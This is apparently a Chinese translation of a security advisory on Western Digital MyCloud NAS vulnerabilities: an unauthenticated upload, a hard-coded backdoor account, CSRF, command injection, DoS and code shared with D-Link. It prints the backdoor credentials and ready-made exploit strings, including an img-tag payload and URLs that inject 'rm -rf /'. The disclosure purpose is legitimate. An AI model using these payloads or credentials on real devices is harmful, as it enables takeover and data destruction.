西部數據NAS設備被曝存在硬編碼後門和未授權文件上傳高危漏洞
近日,GulfTech公司安全研究員James Bercegay發現,西部數據(Western Digital)旗下多個MyCloud系列網路存儲設備(WDMyCloud NAS)存在未限制文件上傳、硬編碼後門、CSRF、命令注入等多個高危漏洞,攻擊者可以利用這些漏洞,對MyCloud NAS設備植入惡意代碼,遠程登錄或獲得設備控制許可權(漏洞利用exploit)。而且,WDMyCloud竟然還與D-Link存在代碼共用情況!
漏洞概述和受影響設備
西部數據MyCloud系列(WDMyCloud )廣泛應用於個人和商業機構,可以算是一款非常暢銷的雲存儲設備,用它可以實現電子文檔託管並能形成雲端和基於web的服務同步。
漏洞公開日期: 2018-01-04
最新編輯日期: 2018-01-08
受影響廠商: Western Digital MyCloud
受影響設備型號:
MyCloud、MyCloudMirror、My Cloud Gen 2、My Cloud PR2100、 My Cloud PR4100、My Cloud EX2 Ultra、My Cloud EX2、My Cloud EX4、My Cloud EX2100、My Cloud EX4100、My Cloud DL2100、My Cloud DL4100
不受影響設備型號:
MyCloud 04.X Series、 MyCloud 2.30.174
漏洞分析
未限制文件上傳漏洞
WDMyCloud在以下位置存在未限制文件上傳漏洞:
/usr/local/modules/web/pages/jquery/uploader/multi_uploadify.php
主要原因在於,開發者在此處對PHP gethostbyaddr()函數的誤用,PHP幫助手冊對gethostbyaddr()函數的返回值作了以下說明:
「執行成功則返回主機名;失敗則原樣輸出(輸出IP地址);如果輸入的格式不正常,則返回FALSE。」
讓我們來仔細看看導致該漏洞的代碼,以下就是存在漏洞的」multi_uploadify.php」腳本問題,我會一一對相關問題代碼作出解釋。
#問題1
:這裡可被攻擊者控制的「Host」頭被用來定義了一個遠程認證服務,這本身就很糟糕,攻擊者可以把它指定為某個被控制伺服器的IP地址,而且,如果我們向它發送一個無效的「Host」頭信息,根據PHP手冊定義,它只會返回FALSE。$ip = gethostbyaddr($_SERVER["HTTP_HOST"]);
$name = $_REQUEST["name"];
$pwd = $_REQUEST["pwd"];
$redirect_uri = $_REQUEST["redirect_uri"];
//echo $name ."
".$pwd."
".$ip;
#問題2
:根據上述假設,向其發送了無效「Host」頭信息後,這裡的$result值就會被設置為返回的FALSE$result = @stripslashes( @join( @file( "http://".$ip."/mydlink/mydlink.cgi?
cmd=1&name=".$name."=&pwd=".$pwd ),"" ));
#問題3
: 而且,程序會搜索以下這個空的存儲結構,最終,其strstr()值會被設置為返回的FALSE。
$result_1 = strstr($result,"0");
$result_1 = substr ($result_1, 0,28);
#問題4
: 這裡被調用的strncmp()比較奇怪,它像是在尋找一個特定的登錄失效狀態,所以當執行出錯或意外時,它不會給出具體解釋,因此,這個if語句總是被忽略。if (strncmp ($result_1,"0",28) == 0 )
//if (strstr($result,"0")== 0 )
{
header("HTTP/1.1 302 Found");
header("Location: ".$redirect_uri."?status=0");
exit();
}
#問題5
: 綜上所述,所有檢查認證機制都會被繞過,攻擊者可以利用這種繞過機制,實現向NAS設備上傳任意文件。其它代碼在此就不作過多說明,但一旦用戶驗證機制被繞過,就會成功實現文件上傳。利用這些問題,可以非常容易地獲得一個遠程root訪問許可權shell,攻擊者可以使用參數」Filedata[0]」,向NAS設備發送一個包含上傳文件的POST請求,」Filedata[0]」中包含了文件上傳的具體目錄位置,以及一個假冒的「Host」頭信息。
在後續的漏洞利用Metasploit模塊中,實現了向NAS設備目錄 「/var/www/「上傳一個PHP網馬的功能,一旦成功上傳,該網馬可以形成一個有效的網頁後門,能載入後續攻擊載荷。
硬編碼後門漏洞
在發現上述文件上傳漏洞後,我決定對其網路介面界面下的CGI二進位文件作個逆向分析,由於這些CGI文件是標準的Linux ELF可執行程序,相對容易分析,經過一個多小時的折騰,我偶然發現了以下文件:
/usr/local/modules/cgi/nas_sharing.cgi
上述文件可以通過訪問 「/cgi-bin/nas_sharing.cgi」獲得,除「cmd」參數被設置為「7」之外,其它各種訪問方式都會產生伺服器錯誤,這激發了我的挖掘興趣。最終我發現這種錯誤在於代碼問題上,但當我在分析錯誤的過程中,碰巧又發現了以下用於認證遠程用戶的函數。
以下是從二進位反彙編中創建的偽代碼,為了更好地識別,我把它重命名為」re_BACKDOOR」:
struct passwd *__fastcall re_BACKDOOR(const char *a1, const char *a2)
{
const char *v2; // r5@1
const char *v3; // r4@1
struct passwd *result; // r0@4
FILE *v5; // r6@5
struct passwd *v6; // r5@7
const char *v7; // r0@9
size_t v8; // r0@10
int v9; // [sp+0h] [bp-1090h]@1
char s; // [sp+1000h] [bp-90h]@1
char dest; // [sp+1040h] [bp-50h]@1
v2 = a2;
v3 = a1;
memset(&s, 0, 0x40u);
memset(&dest, 0, 0x40u);
memset(&v9, 0, 0x1000u);
if ( *v2 )
{
v8 = strlen(v2);
_b64_pton(v2, (u_char *)&v9, v8);
if ( dword_2C2E4 )
{
sub_1194C((const char *)&unk_1B1A4, v2);
sub_1194C("pwd decode[%s]
", &v9);
}
}
if (!strcmp(v3, "mydlinkBRionyg")
&& !strcmp((const char *)&v9, "abc12345cba") )
{
result = (struct passwd *)1;
}
else
{
v5 = (FILE *)fopen64("/etc/shadow", "r");
while ( 1 )
{
result = fgetpwent(v5);
v6 = result;
if ( !result )
break;
if ( !strcmp(result->pw_name, v3) )
{
strcpy(&s, v6->pw_passwd);
fclose(v5);
strcpy(&dest, (const char *)&v9);
v7 = (const char *)sub_1603C(&dest, &s);
return (struct passwd *)(strcmp(v7, &s) == 0);
}
}
}
return result;
}
仔細觀察上述代碼,可以發現其中竟然包含了一個用戶名密碼為mydlinkBRionyg/abc12345cba的管理員用戶,可以用它實現對目標NAS設備的遠程登錄,這是多麼經典的一個硬編碼後門啊!而且該用戶名」mydlinkBRionyg」貌似與文件上傳漏洞中的代碼」mydlink.cgi」欄位相關,而且其中還包含了」dlink」,難道是D-Link嗎?我們後續分析。
首先,一般來說,要利用這個後門來作點文章好像很難,因為只有在「7」模式下才不會發生錯誤,而且該模式下我們也僅能下載/mnt/目錄下的文件,它並不是root許可權,所以非得需要root許可權才行。
深入分析後,我發現CGI腳本每次一開始都會運行出錯,只有在最後瀏覽器渲染解析階段,CGI腳本才能正常運行,這貌似是由於開發者忘記在輸出中指定具體的內容類型頭,從而導致伺服器端發生崩潰。現在的重點就是如何利用上述問題,實現root許可權獲取,所以在cmd參數為「51」的情況下,結合硬編碼用戶名密碼後門,構造以下包含命令注入的請求,就能實現對遠程NAS設備的訪問控制。
GET /cgi-bin/nas_sharing.cgi?dbg=1&cmd=51&user=mydlinkBRionyg&passwd=YWJjMT
IzNDVjYmE&start=1&count=1;touch+/tmp/gulftech; HTTP/1.1
利用該請求,攻擊者可以獲得對目標設備的root許可權,執行任意命令。其中的密碼欄位是base64編碼的,請求中我通過命令創建了一個位於/tmp/目錄下的gulftech文件。這種漏洞利用姿勢極具威脅性和傳播性,即使是區域網內用戶也無法保證安全,攻擊者可以迷惑用戶訪問偽裝為 「wdmycloud」和」wdmycloudmirror」名稱,且內置有iframe或img標籤的網站,然後向漏洞NAS設備發送一個GET請求,就能實現設備控制。具體利用方式如下所示:
<img src=」http://wdmycloud/cgi-bin/nas_sharing.cgi?dbg=1&cmd=51&user=mydlin
kBRionyg&passwd=YWJjMTIzNDVjYmE&start=1&count=1;rm+-rf+/;」>
一旦用戶訪問該鏈接請求之後,其WDMyCloud設備就成了攻擊者的「囊中之物」,由於硬編碼後門的存在,用戶唯一能做的緩解措施就是立即刪除NAS設備中的數據。
CSRF漏洞
該漏洞利用方式可以是這種:
http://wdmycloud/web/dsdk/DsdkProxy.php?;rm -rf /;
也就是說,如果用戶登錄進入NAS設備之後,如果不小心點擊了上述鏈接之後,將會執行整盤WDMyCloud的數據刪除。
命令注入
2017年3月份是,Exploiteers安全團隊曾發現了WDMyCloud的多個命令注入漏洞,但非常不可思議的是,我們又在其中發現了這種漏洞,以下就是存在漏洞的問題代碼,有興趣的可以深入研究一下。
class RemoteBackupsAPI{
public function getRecoverItems()
{
$xmlPath = "/var/www/xml/rsync_recover_items.xml";
$jobName = $_REQUEST["jobName"];
@unlink($xmlPath);
$cmd = "rsyncmd -l "$xmlPath" -r "$jobName" >/dev/null";
system($cmd);
if (file_exists($xmlPath))
{
print file_get_contents($xmlPath);
}
else
{
print "";
}
}
}
DoS漏洞
攻擊者可以濫用語言設置功能來觸發對NAS設備WEB介面的DoS攻擊,原因在於任意未授權用戶可以設置設備用戶的通用語言,以下是該功能的逆向二進位偽代碼:
int cgi_language()
{
int v1; // [sp+0h] [bp-10h]@1
cgiFormString("f_language", &v1, 8);
xml_set_str((int)"/language", (int)&v1);
xml_write_file("/etc/NAS_CFG/config.xml");
LIB_CP_Config_To_MTD(1);
cgiHeaderContentType("text/html");
return system("language.sh > /dev/null 2>&1 &");
}
從以上代碼可知,攻擊者在無需認證的情況下,可以對NAS設備設置任意使用語言,這種情況下,也就說明,可以隨時切換任意語言設置,當然也對WEB介面的正常訪問造成影響。如以下利用方式,其中7為把語言設置為韓語,總共有17種語言可設置。
http://wdmycloud/cgi-bin/login_mgr.cgi?cmd=cgi_language&f_language=7
信息泄露
在不需任意認證的情況下,攻擊者可以利用以下請求方式獲取設備用戶相關的詳細信息,
GET /api/2.1/rest/users? HTTP/1.1
WDMyCloud與D-Link的共用代碼關係
如前所述,「mydlink.cgi」文件引發了我對D-Link設備的聯想,於是乎我通過Google搜索到了D-Link論壇內,某個D-Link DNS-320L ShareCenter設備用戶發表的帖子,提及到了「mydlink.cgi」文件。
經過我對D-Link DNS-320L ShareCenter設備的分析後發現,它竟然存在與 WDMyCloud完全相同的未授權文件上傳和硬編碼後門漏洞,GOD!,另外,還有多處拼寫錯誤的函數名稱和異常代碼相當一致,這可以說明,它們在軟體架構中共用了代碼!
但好在,與 WDMyCloud不同,升級版固件的D-Link DNS-320L已經不存了未授權文件上傳和硬編碼後門漏洞,其中,硬編碼後門漏洞早在2014年7月的1.0.6升級固件版本中就已經被移除,如果你還沒升級,就趕快的吧!
非常搞笑,兩家流行NAS設備大廠,竟然在2014年初和2014年底,共用同樣的代碼,導致存在同樣的漏洞和後門!
漏洞修復
參照官方修復建議,儘快升級到WDMyCloud的2.30.174固件版本,但有些用戶反映,該固件更新還未完全修復某些漏洞。
*參考來源:gulftech,freebuf小編clouds編譯,轉載請註明來自FreeBuf.COM


TAG:FreeBuf |